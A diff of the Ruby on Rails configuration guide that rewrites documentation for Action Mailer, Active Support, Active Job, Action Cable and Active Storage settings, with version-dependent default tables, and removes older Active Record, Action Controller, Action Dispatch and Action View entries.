+#### `config.action_mailer.preview_interceptors`
+
+Registers interceptors which will be called before mail is previewed.
+
+```ruby
+config.action_mailer.preview_interceptors = ["MyPreviewMailInterceptor"]
+```
+
+#### `config.action_mailer.preview_paths`
+
+Specifies the locations of mailer previews. Appending paths to this configuration option will cause those paths to be used in the search for mailer previews.
+
+```ruby
+config.action_mailer.preview_paths << "#{Rails.root}/lib/mailer_previews"
+```
+
+#### `config.action_mailer.show_previews`
+
+Enable or disable mailer previews. By default this is `true` in development.
+
+```ruby
+config.action_mailer.show_previews = false
+```
+
+#### `config.action_mailer.perform_caching`
+
+Specifies whether the mailer templates should perform fragment caching or not. If it's not specified, the default will be `true`.
+
+#### `config.action_mailer.deliver_later_queue_name`
+
+Specifies the Active Job queue to use for the default delivery job (see
+`config.action_mailer.delivery_job`). When this option is set to `nil`, delivery
+jobs are sent to the default Active Job queue (see
+[`config.active_job.default_queue_name`][]).
+
+Mailer classes can override this to use a different queue. Note that this only applies when using the default delivery job. If your mailer is using a custom job, its queue will be used.
+
+Ensure that your Active Job adapter is also configured to process the specified queue, otherwise delivery jobs may be silently ignored.
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `:mailers`           |
+| 6.1                   | `nil`                |
+
+#### `config.action_mailer.delivery_job`
+
+Specifies delivery job for mail.
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `ActionMailer::MailDeliveryJob` |
+| 6.0                   | `"ActionMailer::MailDeliveryJob"` |
+
+### Configuring Active Support
+
+There are a few configuration options available in Active Support:
+
+#### `config.active_support.bare`
+
+Enables or disables the loading of `active_support/all` when booting Rails. Defaults to `nil`, which means `active_support/all` is loaded.
+
+#### `config.active_support.test_order`
+
+Sets the order in which the test cases are executed. Possible values are `:random` and `:sorted`. Defaults to `:random`.
+
+#### `config.active_support.escape_html_entities_in_json`
+
+Enables or disables the escaping of HTML entities in JSON serialization. Defaults to `true`.
+
+#### `config.active_support.use_standard_json_time_format`
+
+Enables or disables serializing dates to ISO 8601 format. Defaults to `true`.
+
+#### `config.active_support.time_precision`
+
+Sets the precision of JSON encoded time values. Defaults to `3`.
+
+#### `config.active_support.hash_digest_class`
+
+Allows configuring the digest class to use to generate non-sensitive digests, such as the ETag header.
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `OpenSSL::Digest::MD5` |
+| 5.2                   | `OpenSSL::Digest::SHA1` |
+| 7.0                   | `OpenSSL::Digest::SHA256` |
+
+#### `config.active_support.key_generator_hash_digest_class`
+
+Allows configuring the digest class to use to derive secrets from the configured secret base, such as for encrypted cookies.
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `OpenSSL::Digest::SHA1` |
+| 7.0                   | `OpenSSL::Digest::SHA256` |
+
+#### `config.active_support.use_authenticated_message_encryption`
+
+Specifies whether to use AES-256-GCM authenticated encryption as the default cipher for encrypting messages instead of AES-256-CBC.
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `false`              |
+| 5.2                   | `true`               |
+
+#### `config.active_support.message_serializer`
+
+Specifies the default serializer used by [`ActiveSupport::MessageEncryptor`][]
+and [`ActiveSupport::MessageVerifier`][] instances. To make migrating between
+serializers easier, the provided serializers include a fallback mechanism to
+support multiple deserialization formats:
+
+| Serializer | Serialize and deserialize | Fallback deserialize |
+| ---------- | ------------------------- | -------------------- |
+| `:marshal` | `Marshal` | `ActiveSupport::JSON`, `ActiveSupport::MessagePack` |
+| `:json` | `ActiveSupport::JSON` | `ActiveSupport::MessagePack` |
+| `:json_allow_marshal` | `ActiveSupport::JSON` | `ActiveSupport::MessagePack`, `Marshal` |
+| `:message_pack` | `ActiveSupport::MessagePack` | `ActiveSupport::JSON` |
+| `:message_pack_allow_marshal` | `ActiveSupport::MessagePack` | `ActiveSupport::JSON`, `Marshal` |
+
+WARNING: `Marshal` is a potential vector for deserialization attacks in cases
+where a message signing secret has been leaked. _If possible, choose a
+serializer that does not support `Marshal`._
+
+INFO: The `:message_pack` and `:message_pack_allow_marshal` serializers support
+roundtripping some Ruby types that are not supported by JSON, such as `Symbol`.
+They can also provide improved performance and smaller payload sizes. However,
+they require the [`msgpack` gem](https://rubygems.org/gems/msgpack).
+
+Each of the above serializers will emit a [`message_serializer_fallback.active_support`][]
+event notification when they fall back to an alternate deserialization format,
+allowing you to track how often such fallbacks occur.
+
+Alternatively, you can specify any serializer object that responds to `dump` and
+`load` methods. For example:
+
+```ruby
+config.active_support.message_serializer = YAML
+```
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `:marshal`           |
+| 7.1                   | `:json_allow_marshal` |
+
+[`ActiveSupport::MessageEncryptor`]: https://api.rubyonrails.org/classes/ActiveSupport/MessageEncryptor.html
+[`ActiveSupport::MessageVerifier`]: https://api.rubyonrails.org/classes/ActiveSupport/MessageVerifier.html
+[`message_serializer_fallback.active_support`]: active_support_instrumentation.html#message-serializer-fallback-active-support
+
+#### `config.active_support.use_message_serializer_for_metadata`
+
+When `true`, enables a performance optimization that serializes message data and
+metadata together. This changes the message format, so messages serialized this
+way cannot be read by older (< 7.1) versions of Rails. However, messages that
+use the old format can still be read, regardless of whether this optimization is
+enabled.
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `false`              |
+| 7.1                   | `true`               |
+
+#### `config.active_support.cache_format_version`
+
+Specifies which serialization format to use for the cache. Possible values are
+`7.0`, and `7.1`.
+
+`7.0` serializes cache entries more efficiently.
+
+`7.1` further improves efficiency, and allows expired and version-mismatched
+cache entries to be detected without deserializing their values. It also
+includes an optimization for bare string values such as view fragments.
+
+All formats are backward and forward compatible, meaning cache entries written
+in one format can be read when using another format. This behavior makes it
+easy to migrate between formats without invalidating the entire cache.
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| 7.0                   | `7.0`                |
+| 7.1                   | `7.1`                |
+
+#### `config.active_support.deprecation`
+
+Configures the behavior of deprecation warnings. See
+[`Deprecation::Behavior`][deprecation_behavior] for a description of the
+available options.
+
+In the default generated `config/environments` files, this is set to `:log` for
+development and `:stderr` for test, and it is omitted for production in favor of
+[`config.active_support.report_deprecations`](#config-active-support-report-deprecations).
+
+[deprecation_behavior]: https://api.rubyonrails.org/classes/ActiveSupport/Deprecation/Behavior.html#method-i-behavior-3D
+
+#### `config.active_support.disallowed_deprecation`
+
+Configures the behavior of disallowed deprecation warnings. See
+[`Deprecation::Behavior`][deprecation_behavior] for a description of the
+available options.
+
+This option is intended for development and test. For production, favor
+[`config.active_support.report_deprecations`](#config-active-support-report-deprecations).
+
+#### `config.active_support.disallowed_deprecation_warnings`
+
+Configures deprecation warnings that the Application considers disallowed. This allows, for example, specific deprecations to be treated as hard failures.
+
+#### `config.active_support.report_deprecations`
+
+When `false`, disables all deprecation warnings, including disallowed deprecations, from the [application’s deprecators](https://api.rubyonrails.org/classes/Rails/Application.html#method-i-deprecators). This includes all the deprecations from Rails and other gems that may add their deprecator to the collection of deprecators, but may not prevent all deprecation warnings emitted from ActiveSupport::Deprecation.
+
+In the default generated `config/environments` files, this is set to `false` for production.
+
+#### `config.active_support.isolation_level`
+
+Configures the locality of most of Rails internal state. If you use a fiber based server or job processor (e.g. `falcon`), you should set it to `:fiber`. Otherwise it is best to use `:thread` locality. Defaults to `:thread`.
+
+#### `config.active_support.executor_around_test_case`
+
+Configure the test suite to call `Rails.application.executor.wrap` around test cases.
+This makes test cases behave closer to an actual request or job.
+Several features that are normally disabled in test, such as Active Record query cache
+and asynchronous queries will then be enabled.
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `false`              |
+| 7.0                   | `true`               |
+
+#### `ActiveSupport::Logger.silencer`
+
+Is set to `false` to disable the ability to silence logging in a block. The default is `true`.
+
+#### `ActiveSupport::Cache::Store.logger`
+
+Specifies the logger to use within cache store operations.
+
+#### `ActiveSupport.utc_to_local_returns_utc_offset_times`
+
+Configures [`ActiveSupport::TimeZone.utc_to_local`][] to return a time with a UTC
+offset instead of a UTC time incorporating that offset.
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `false`              |
+| 6.1                   | `true`               |
+
+[`ActiveSupport::TimeZone.utc_to_local`]: https://api.rubyonrails.org/classes/ActiveSupport/TimeZone.html#method-i-utc_to_local
+
+#### `config.active_support.raise_on_invalid_cache_expiration_time`
+
+Specifies whether an `ArgumentError` should be raised if `Rails.cache`
+[`fetch`][ActiveSupport::Cache::Store#fetch] or [`write`][ActiveSupport::Cache::Store#write]
+are given an invalid `expires_at` or `expires_in` time.
+
+Options are `true` and `false`. If `false`, the exception will be reported
+as `handled` and logged instead.
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `false`              |
+| 7.1                   | `true`               |
+
+[ActiveSupport::Cache::Store#fetch]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html#method-i-fetch
+[ActiveSupport::Cache::Store#write]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html#method-i-write
+
+#### `config.active_support.event_reporter_context_store`
+
+Configures a custom context store for the Event Reporter. The context store is used to manage metadata that should be attached to every event emitted by the reporter.
+
+By default, the Event Reporter uses `ActiveSupport::EventContext` which stores context in fiber-local storage.
+
+To use a custom context store, set this config to a class that implements the context store interface:
+
+```ruby
+# config/application.rb
+config.active_support.event_reporter_context_store = CustomContextStore
+
+class CustomContextStore
+  class << self
+    def context
+      # Return the context hash
+    end
+
+    def set_context(context_hash)
+      # Append context_hash to the existing context store
+    end
+
+    def clear
+      # Clear the stored context
+    end
+  end
+end
+```
+
+Defaults to `nil`, which means the default `ActiveSupport::EventContext` store is used.
+
+#### `config.active_support.escape_js_separators_in_json`
+
+Specifies whether LINE SEPARATOR (U+2028) and PARAGRAPH SEPARATOR (U+2029) are escaped when generating JSON.
+
+Historically these characters were not valid inside JavaScript literal strings but that changed in ECMAScript 2019.
+As such it's no longer a concern in modern browsers: https://caniuse.com/mdn-javascript_builtins_json_json_superset.
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `true`               |
+| 8.1                   | `false`              |
+
+### Configuring Active Job
+
+`config.active_job` provides the following configuration options:
+
+#### `config.active_job.queue_adapter`
+
+Sets the adapter for the queuing backend. The default adapter is `:async`. For an up-to-date list of built-in adapters see the [ActiveJob::QueueAdapters API documentation](https://api.rubyonrails.org/classes/ActiveJob/QueueAdapters.html).
+
+```ruby
+# Be sure to have the adapter's gem in your Gemfile
+# and follow the adapter's specific installation
+# and deployment instructions.
+config.active_job.queue_adapter = :sidekiq
+```
+
+#### `config.active_job.default_queue_name`
+
+Can be used to change the default queue name. By default this is `"default"`.
+
+```ruby
+config.active_job.default_queue_name = :medium_priority
+```
+
+[`config.active_job.default_queue_name`]: #config-active-job-default-queue-name
+
+#### `config.active_job.queue_name_prefix`
+
+Allows you to set an optional, non-blank, queue name prefix for all jobs. By default it is blank and not used.
+
+The following configuration would queue the given job on the `production_high_priority` queue when run in production:
+
+```ruby
+config.active_job.queue_name_prefix = Rails.env
+```
+
+```ruby
+class GuestsCleanupJob < ActiveJob::Base
+  queue_as :high_priority
+  #....
+end
+```
+
+#### `config.active_job.queue_name_delimiter`
+
+Has a default value of `'_'`. If `queue_name_prefix` is set, then `queue_name_delimiter` joins the prefix and the non-prefixed queue name.
+
+The following configuration would queue the provided job on the `video_server.low_priority` queue:
+
+```ruby
+# prefix must be set for delimiter to be used
+config.active_job.queue_name_prefix = "video_server"
+config.active_job.queue_name_delimiter = "."
+```
+
+```ruby
+class EncoderJob < ActiveJob::Base
+  queue_as :low_priority
+  #....
+end
+```
 
-    ```ruby
-    config.i18n.fallbacks = { az: :tr, da: [:de, :en] }
-    #or
-    config.i18n.fallbacks.map = { az: :tr, da: [:de, :en] }
-    ```
+#### `config.active_job.logger`
 
-### Configuring Active Record
+Accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Active Job. You can retrieve this logger by calling `logger` on either an Active Job class or an Active Job instance. Set to `nil` to disable logging.
 
-`config.active_record` includes a variety of configuration options:
+#### `config.active_job.custom_serializers`
 
-* `config.active_record.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then passed on to any new database connections made. You can retrieve this logger by calling `logger` on either an Active Record model class or an Active Record model instance. Set to `nil` to disable logging.
+Allows to set custom argument serializers. Defaults to `[]`.
 
-* `config.active_record.primary_key_prefix_type` lets you adjust the naming for primary key columns. By default, Rails assumes that primary key columns are named `id` (and this configuration option doesn't need to be set.) There are two other choices:
-    * `:table_name` would make the primary key for the Customer class `customerid`.
-    * `:table_name_with_underscore` would make the primary key for the Customer class `customer_id`.
+#### `config.active_job.log_arguments`
 
-* `config.active_record.table_name_prefix` lets you set a global string to be prepended to table names. If you set this to `northwest_`, then the Customer class will look for `northwest_customers` as its table. The default is an empty string.
+Controls if the arguments of a job are logged. Defaults to `true`.
 
-* `config.active_record.table_name_suffix` lets you set a global string to be appended to table names. If you set this to `_northwest`, then the Customer class will look for `customers_northwest` as its table. The default is an empty string.
+#### `config.active_job.verbose_enqueue_logs`
 
-* `config.active_record.schema_migrations_table_name` lets you set a string to be used as the name of the schema migrations table.
+Specifies if source locations of methods that enqueue background jobs should be logged below relevant enqueue log lines. By default, the flag is `true` in development and `false` in all other environments.
 
-* `config.active_record.pluralize_table_names` specifies whether Rails will look for singular or plural table names in the database. If set to `true` (the default), then the Customer class will use the `customers` table. If set to false, then the Customer class will use the `customer` table.
+#### `config.active_job.retry_jitter`
 
-* `config.active_record.default_timezone` determines whether to use `Time.local` (if set to `:local`) or `Time.utc` (if set to `:utc`) when pulling dates and times from the database. The default is `:utc`.
+Controls the amount of "jitter" (random variation) applied to the delay time calculated when retrying failed jobs.
 
-* `config.active_record.schema_format` controls the format for dumping the database schema to a file. The options are `:ruby` (the default) for a database-independent version that depends on migrations, or `:sql` for a set of (potentially database-dependent) SQL statements.
+The default value depends on the `config.load_defaults` target version:
 
-* `config.active_record.error_on_ignored_order` specifies if an error should be raised if the order of a query is ignored during a batch query. The options are `true` (raise error) or `false` (warn). Default is `false`.
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `0.0`                |
+| 6.1                   | `0.15`               |
 
-* `config.active_record.timestamped_migrations` controls whether migrations are numbered with serial integers or with timestamps. The default is `true`, to use timestamps, which are preferred if there are multiple developers working on the same application.
+#### `config.active_job.log_query_tags_around_perform`
 
-* `config.active_record.lock_optimistically` controls whether Active Record will use optimistic locking and is `true` by default.
+Determines whether job context for query tags will be automatically updated via
+an `around_perform`. The default value is `true`.
 
-* `config.active_record.cache_timestamp_format` controls the format of the timestamp value in the cache key. Default is `:nsec`.
+### Configuring Action Cable
 
-* `config.active_record.record_timestamps` is a boolean value which controls whether or not timestamping of `create` and `update` operations on a model occur. The default value is `true`.
+#### `config.action_cable.url`
 
-* `config.active_record.partial_writes` is a boolean value and controls whether or not partial writes are used (i.e. whether updates only set attributes that are dirty). Note that when using partial writes, you should also use optimistic locking `config.active_record.lock_optimistically` since concurrent updates may write attributes based on a possibly stale read state. The default value is `true`.
+Accepts a string for the URL for where you are hosting your Action Cable
+server. You would use this option if you are running Action Cable servers that
+are separated from your main application.
 
-* `config.active_record.maintain_test_schema` is a boolean value which controls whether Active Record should try to keep your test database schema up-to-date with `db/schema.rb` (or `db/structure.sql`) when you run your tests. The default is `true`.
+#### `config.action_cable.mount_path`
 
-* `config.active_record.dump_schema_after_migration` is a flag which
-  controls whether or not schema dump should happen (`db/schema.rb` or
-  `db/structure.sql`) when you run migrations. This is set to `false` in
-  `config/environments/production.rb` which is generated by Rails. The
-  default value is `true` if this configuration is not set.
+Accepts a string for where to mount Action Cable, as part of the main server
+process. Defaults to `/cable`. You can set this as nil to not mount Action
+Cable as part of your normal Rails server.
 
-* `config.active_record.dump_schemas` controls which database schemas will be dumped when calling db:structure:dump.
-  The options are `:schema_search_path` (the default) which dumps any schemas listed in schema_search_path,
-  `:all` which always dumps all schemas regardless of the schema_search_path,
-  or a string of comma separated schemas.
+You can find more detailed configuration options in the
+[Action Cable Overview](action_cable_overview.html#configuration).
 
-* `config.active_record.belongs_to_required_by_default` is a boolean value and
-  controls whether a record fails validation if `belongs_to` association is not
-  present.
+#### `config.action_cable.precompile_assets`
 
-* `config.active_record.warn_on_records_fetched_greater_than` allows setting a
-  warning threshold for query result size. If the number of records returned
-  by a query exceeds the threshold, a warning is logged. This can be used to
-  identify queries which might be causing memory bloat.
+Determines whether the Action Cable assets should be added to the asset pipeline precompilation. It
+has no effect if Sprockets is not used. The default value is `true`.
 
-* `config.active_record.index_nested_attribute_errors` allows errors for nested
-  has_many relationships to be displayed with an index as well as the error.
-  Defaults to `false`.
+#### `config.action_cable.allow_same_origin_as_host`
 
-* `config.active_record.use_schema_cache_dump` enables users to get schema cache information
-  from `db/schema_cache.yml` (generated by `bin/rails db:schema:cache:dump`), instead of
-  having to send a query to the database to get this information.
-  Defaults to `true`.
+Determines whether an origin matching the cable server itself will be permitted.
+The default value is `true`.
 
-The MySQL adapter adds one additional configuration option:
+Set to false to disable automatic access for same-origin requests, and strictly allow
+only the configured origins.
 
-* `ActiveRecord::ConnectionAdapters::Mysql2Adapter.emulate_booleans` controls whether Active Record will consider all `tinyint(1)` columns as booleans. Defaults to `true`.
+#### `config.action_cable.allowed_request_origins`
 
-The schema dumper adds one additional configuration option:
+Determines the request origins which will be accepted by the cable server.
+The default value is `/https?:\/\/localhost:\d+/` in the `development` environment.
 
-* `ActiveRecord::SchemaDumper.ignore_tables` accepts an array of tables that should _not_ be included in any generated schema file. This setting is ignored unless `config.active_record.schema_format == :ruby`.
+### Configuring Active Storage
 
-### Configuring Action Controller
+`config.active_storage` provides the following configuration options:
 
-`config.action_controller` includes a number of configuration settings:
+#### `config.active_storage.variant_processor`
 
-* `config.action_controller.asset_host` sets the host for the assets. Useful when CDNs are used for hosting assets rather than the application server itself.
+Accepts a symbol `:mini_magick`, `:vips`, or `:disabled` specifying whether or not variant transformations and blob analysis will be performed with MiniMagick or ruby-vips.
 
-* `config.action_controller.perform_caching` configures whether the application should perform the caching features provided by the Action Controller component or not. Set to `false` in development mode, `true` in production.
+The default value depends on the `config.load_defaults` target version:
 
-* `config.action_controller.default_static_extension` configures the extension used for cached pages. Defaults to `.html`.
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `:mini_magick`       |
+| 7.0                   | `:vips`              |
 
-* `config.action_controller.include_all_helpers` configures whether all view helpers are available everywhere or are scoped to the corresponding controller. If set to `false`, `UsersHelper` methods are only available for views rendered as part of `UsersController`. If `true`, `UsersHelper` methods are available everywhere. The default configuration behavior (when this option is not explicitly set to `true` or `false`) is that all view helpers are available to each controller.
+#### `config.active_storage.analyzers`
 
-* `config.action_controller.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Controller. Set to `nil` to disable logging.
+Accepts an array of classes indicating the analyzers available for Active Storage blobs.
+By default, this is defined as:
 
-* `config.action_controller.request_forgery_protection_token` sets the token parameter name for RequestForgery. Calling `protect_from_forgery` sets it to `:authenticity_token` by default.
+```ruby
+config.active_storage.analyzers = [
+  ActiveStorage::Analyzer::ImageAnalyzer::Vips,
+  ActiveStorage::Analyzer::ImageAnalyzer::ImageMagick,
+  ActiveStorage::Analyzer::VideoAnalyzer,
+  ActiveStorage::Analyzer::AudioAnalyzer
+]
+```
 
-* `config.action_controller.allow_forgery_protection` enables or disables CSRF protection. By default this is `false` in test mode and `true` in all other modes.
+The image analyzers can extract width and height of an image blob; the video analyzer can extract width, height, duration, angle, aspect ratio, and presence/absence of video/audio channels of a video blob; the audio analyzer can extract duration and bit rate of an audio blob.
 
-* `config.action_controller.forgery_protection_origin_check` configures whether the HTTP `Origin` header should be checked against the site's origin as an additional CSRF defense.
+If you want to disable analyzers, you can set this to an empty array:
 
-* `config.action_controller.per_form_csrf_tokens` configures whether CSRF tokens are only valid for the method/action they were generated for.
+```ruby
+config.active_storage.analyzers = []
+```
 
-* `config.action_controller.relative_url_root` can be used to tell Rails that you are [deploying to a subdirectory](configuring.html#deploy-to-a-subdirectory-relative-url-root). The default is `ENV['RAILS_RELATIVE_URL_ROOT']`.
+#### `config.active_storage.analyze`
 
-* `config.action_controller.permit_all_parameters` sets all the parameters for mass assignment to be permitted by default. The default value is `false`.
+Controls when attachment analysis (image/video/audio metadata extraction) is performed:
 
-* `config.action_controller.action_on_unpermitted_parameters` enables logging or raising an exception if parameters that are not explicitly permitted are found. Set to `:log` or `:raise` to enable. The default value is `:log` in development and test environments, and `false` in all other environments.
+* `:immediately` - Analyze before validation, making metadata available for validations (e.g. image dimensions, video duration)
+* `:later` - Analyze after upload from local IO or via background job for direct uploads
+* `:lazily` - Skip automatic analysis; analyze on-demand
 
-* `config.action_controller.always_permitted_parameters` sets a list of whitelisted parameters that are permitted by default. The default values are `['controller', 'action']`.
+When set to `:immediately`, you can validate file properties in model validations:
 
-* `config.action_controller.enable_fragment_cache_logging` determines whether to log fragment cache reads and writes in verbose format as follows:
+```ruby
+class User < ApplicationRecord
+  has_one_attached :avatar
 
-    ```
-    Read fragment views/v1/2914079/v1/2914079/recordings/70182313-20160225015037000000/d0bdf2974e1ef6d31685c3b392ad0b74 (0.6ms)
-    Rendered messages/_message.html.erb in 1.2 ms [cache hit]
-    Write fragment views/v1/2914079/v1/2914079/recordings/70182313-20160225015037000000/3b4e249ac9d168c617e32e84b99218b5 (1.1ms)
-    Rendered recordings/threads/_thread.html.erb in 1.5 ms [cache miss]
-    ```
+  validate :validate_avatar_dimensions, if: -> { avatar.attached? }
 
-  By default it is set to `false` which results in following output:
+  def validate_avatar_dimensions
+    if avatar.metadata[:width] < 200 || avatar.metadata[:height] < 200
+      errors.add(:avatar, "must be at least 200x200 pixels")
+    end
+  end
+end
+```
 
-    ```
-    Rendered messages/_message.html.erb in 1.2 ms [cache hit]
-    Rendered recordings/threads/_thread.html.erb in 1.5 ms [cache miss]
-    ```
+Attachments with `process: :immediately` variants implicitly use immediate analysis to ensure metadata is available before processing.
 
-### Configuring Action Dispatch
+NOTE: Direct uploads bypass the server so the file isn't locally available for analysis. In this case, `:immediately` falls back to `:later`, analyzing via background job after upload completes. Metadata isn't available for validation.
 
-* `config.action_dispatch.session_store` sets the name of the store for session data. The default is `:cookie_store`; other valid options include `:active_record_store`, `:mem_cache_store` or the name of your own custom class.
+The default value depends on the `config.load_defaults` target version:
 
-* `config.action_dispatch.default_headers` is a hash with HTTP headers that are set by default in each response. By default, this is defined as:
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `:later`             |
+| 8.2                   | `:immediately`       |
 
-    ```ruby
-    config.action_dispatch.default_headers = {
-      'X-Frame-Options' => 'SAMEORIGIN',
-      'X-XSS-Protection' => '1; mode=block',
-      'X-Content-Type-Options' => 'nosniff'
-    }
-    ```
+#### `config.active_storage.previewers`
 
-* `config.action_dispatch.default_charset` specifies the default character set for all renders. Defaults to `nil`.
+Accepts an array of classes indicating the image previewers available in Active Storage blobs.
+By default, this is defined as:
 
-* `config.action_dispatch.tld_length` sets the TLD (top-level domain) length for the application. Defaults to `1`.
+```ruby
+config.active_storage.previewers = [ActiveStorage::Previewer::PopplerPDFPreviewer, ActiveStorage::Previewer::MuPDFPreviewer, ActiveStorage::Previewer::VideoPreviewer]
+```
 
-* `config.action_dispatch.ignore_accept_header` is used to determine whether to ignore accept headers from a request. Defaults to `false`.
+`PopplerPDFPreviewer` and `MuPDFPreviewer` can generate a thumbnail from the first page of a PDF blob; `VideoPreviewer` from the relevant frame of a video blob.
 
-* `config.action_dispatch.x_sendfile_header` specifies server specific X-Sendfile header. This is useful for accelerated file sending from server. For example it can be set to 'X-Sendfile' for Apache.
+#### `config.active_storage.paths`
 
-* `config.action_dispatch.http_auth_salt` sets the HTTP Auth salt value. Defaults
-to `'http authentication'`.
+Accepts a hash of options indicating the locations of previewer/analyzer commands. The default is `{}`, meaning the commands will be looked for in the default path. Can include any of these options:
 
-* `config.action_dispatch.signed_cookie_salt` sets the signed cookies salt value.
-Defaults to `'signed cookie'`.
+* `:ffprobe` - The location of the ffprobe executable.
+* `:mutool` - The location of the mutool executable.
+* `:ffmpeg` - The location of the ffmpeg executable.
 
-* `config.action_dispatch.encrypted_cookie_salt` sets the encrypted cookies salt
-value. Defaults to `'encrypted cookie'`.
+```ruby
+config.active_storage.paths[:ffprobe] = "/usr/local/bin/ffprobe"
+```
 
-* `config.action_dispatch.encrypted_signed_cookie_salt` sets the signed
-encrypted cookies salt value. Defaults to `'signed encrypted cookie'`.
+#### `config.active_storage.variable_content_types`
 
-* `config.action_dispatch.perform_deep_munge` configures whether `deep_munge`
-  method should be performed on the parameters. See [Security Guide](security.html#unsafe-query-generation)
-  for more information. It defaults to `true`.
+Accepts an array of strings indicating the content types that Active Storage
+can transform through the variant processor.
+By default, this is defined as:
 
-* `config.action_dispatch.rescue_responses` configures what exceptions are assigned to an HTTP status. It accepts a hash and you can specify pairs of exception/status. By default, this is defined as:
+```ruby
+config.active_storage.variable_content_types = %w(image/png image/gif image/jpeg image/tiff image/bmp image/vnd.adobe.photoshop image/vnd.microsoft.icon image/webp image/avif image/heic image/heif)
+```
 
-  ```ruby
-  config.action_dispatch.rescue_responses = {
-    'ActionController::RoutingError'               => :not_found,
-    'AbstractController::ActionNotFound'           => :not_found,
-    'ActionController::MethodNotAllowed'           => :method_not_allowed,
-    'ActionController::UnknownHttpMethod'          => :method_not_allowed,
-    'ActionController::NotImplemented'             => :not_implemented,
-    'ActionController::UnknownFormat'              => :not_acceptable,
-    'ActionController::InvalidAuthenticityToken'   => :unprocessable_entity,
-    'ActionController::InvalidCrossOriginRequest'  => :unprocessable_entity,
-    'ActionDispatch::Http::Parameters::ParseError' => :bad_request,
-    'ActionController::BadRequest'                 => :bad_request,
-    'ActionController::ParameterMissing'           => :bad_request,
-    'Rack::QueryParser::ParameterTypeError'        => :bad_request,
-    'Rack::QueryParser::InvalidParameterError'     => :bad_request,
-    'ActiveRecord::RecordNotFound'                 => :not_found,
-    'ActiveRecord::StaleObjectError'               => :conflict,
-    'ActiveRecord::RecordInvalid'                  => :unprocessable_entity,
-    'ActiveRecord::RecordNotSaved'                 => :unprocessable_entity
-  }
-  ```
+#### `config.active_storage.web_image_content_types`
 
-  Any exceptions that are not configured will be mapped to 500 Internal Server Error.
+Accepts an array of strings regarded as web image content types in which
+variants can be processed without being converted to the fallback PNG format.
+For example, if you want to use `AVIF` variants in your application you can add
+`image/avif` to this array.
 
-* `ActionDispatch::Callbacks.before` takes a block of code to run before the request.
+The default value depends on the `config.load_defaults` target version:
 
-* `ActionDispatch::Callbacks.to_prepare` takes a block to run after `ActionDispatch::Callbacks.before`, but before the request. Runs for every request in `development` mode, but only once for `production` or environments with `cache_classes` set to `true`.
+| Starting with version | The default value is                            |
+| --------------------- | ----------------------------------------------- |
+| (original)            | `%w(image/png image/jpeg image/gif)`            |
+| 7.2                   | `%w(image/png image/jpeg image/gif image/webp)` |
 
-* `ActionDispatch::Callbacks.after` takes a block of code to run after the request.
+#### `config.active_storage.content_types_to_serve_as_binary`
 
-### Configuring Action View
+Accepts an array of strings indicating the content types that Active Storage will always serve as an attachment, rather than inline.
+By default, this is defined as:
 
-`config.action_view` includes a small number of configuration settings:
+```ruby
+config.active_storage.content_types_to_serve_as_binary = %w(text/html image/svg+xml application/postscript application/x-shockwave-flash text/xml application/xml application/xhtml+xml application/mathml+xml text/cache-manifest)
+```
 
-* `config.action_view.field_error_proc` provides an HTML generator for displaying errors that come from Active Model. The default is
+#### `config.active_storage.content_types_allowed_inline`
 
-    ```ruby
-    Proc.new do |html_tag, instance|
-      %Q(<div class="field_with_errors">#{html_tag}</div>).html_safe
-    end
-    ```
+Accepts an array of strings indicating the content types that Active Storage allows to serve as inline.
+By default, this is defined as:
 
-* `config.action_view.default_form_builder` tells Rails which form builder to
-  use by default. The default is `ActionView::Helpers::FormBuilder`. If you
-  want your form builder class to be loaded after initialization (so it's
-  reloaded on each request in development), you can pass it as a `String`.
+```ruby
+config.active_storage.content_types_allowed_inline = %w(image/webp image/avif image/png image/gif image/jpeg image/tiff image/vnd.adobe.photoshop image/vnd.microsoft.icon application/pdf)
+```
 
-* `config.action_view.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action View. Set to `nil` to disable logging.
+#### `config.active_storage.queues.analysis`
 
-* `config.action_view.erb_trim_mode` gives the trim mode to be used by ERB. It defaults to `'-'`, which turns on trimming of tail spaces and newline when using `<%= -%>` or `<%= =%>`. See the [Erubis documentation](http://www.kuwata-lab.com/erubis/users-guide.06.html#topics-trimspaces) for more information.
+Accepts a symbol indicating the Active Job queue to use for analysis jobs. When
+this option is `nil`, analysis jobs are sent to the default Active Job queue
+(see [`config.active_job.default_queue_name`][]).
 
-* `config.action_view.embed_authenticity_token_in_remote_forms` allows you to
-  set the default behavior for `authenticity_token` in forms with `remote:
-  true`. By default it's set to `false`, which means that remote forms will not
-  include `authenticity_token`, which is helpful when you're fragment-caching
-  the form. Remote forms get the authenticity from the `meta` tag, so embedding
